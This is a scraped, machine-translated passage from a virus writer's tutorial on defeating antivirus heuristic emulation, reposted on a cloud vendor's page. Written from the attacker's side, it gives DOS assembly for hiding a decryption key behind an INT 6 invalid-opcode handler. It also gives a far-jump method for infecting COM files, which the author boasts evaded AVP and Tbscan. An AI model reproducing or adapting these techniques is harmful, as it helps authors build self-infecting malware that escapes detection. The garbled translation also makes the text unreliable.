Analysis of anti-heuristic code simulation detection technology (4) _ MySQL

Source: Internet
Author: User
Against heuristic code simulation detection technology analysis (4) bitsCN.com this is a very effective method, in my test only F-PORT v2.27/PARANOID can detect it, although it can only run on intel's CPU. This method cannot be used on the Cyrix or AMD processor. Therefore, if you run virus, it will crash. :-(If you want to see the virus, you can find my PR. H! Virus)
4 Using INT 6:
If the cpu finds invalid commands, int 6 h interruption will always be called. This method is very similar to the INT 1 interrupt method. We set a handler with an INT 6 h interrupt, then execute an invalid command we intentionally used, and return the decryption key. If we don't want to go into an endless loop, we need to modify the offset at the return time.
  
Mov ax, 3506 h; get int vector 6, so we can restore it later
Int 21 h; not really necessary, but a little bit saver
Mov int6_segm, es
Mov int6_offs, bx
Mov ax, 2506 h; set int vector 6 to our own routine
Mov dx, offset int6_handler
Int 21 h
Dw 0 FFFFh; an invalid opcode, will call our int 6
Mov decrypt_key, ax; handler, which returns the decryption key
Movax, 2506 h; restore the original int 6 handler
Mov dx, cs: int6_offs
Mov ds, cs: int6_segm
Int 21 h
[...]
Int6_handler:
Mov ax, key
Mov bx, sp
Add word ptr ss: [bx], 2; modify return address-very important!
; 2 is the size of our invalid opcode.
Please remember, this method does not work in the dos window program in the window system, because the window will first intercept an invalid opcode, and provides the error message (thanks to Z0MBiE for that tip ). So if you want to make your DOS virus compatible with Windows, do not use this method, although it is wonderful to destroy the virus in the boot area.
5. infected COM files and far jump methods:
I don't like the delta offsets method. I started to try to use the far jump method to infect com files (of course, I still need to add some code to relocate ):
  
Mov ax, cs; Relocate far Jump
Add [offset com_seg], ax
Jmp short $ + 2; Clear prefetch queue
Db 0EAh; OP-Code far Jump
Dw offset start; Offset
Com_seg dw 0; Segment (length of com file in paragraphs)
; Pad filesize to even paragraph! This code can run very stably, and I'm surprised that this infection method can prevent AVP and Tbscan from detecting infected files. If you want to see all the virus spoofing techniques, you can find me to write PR. H! -Virus.
6. initialize the register by bitsCN.com.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.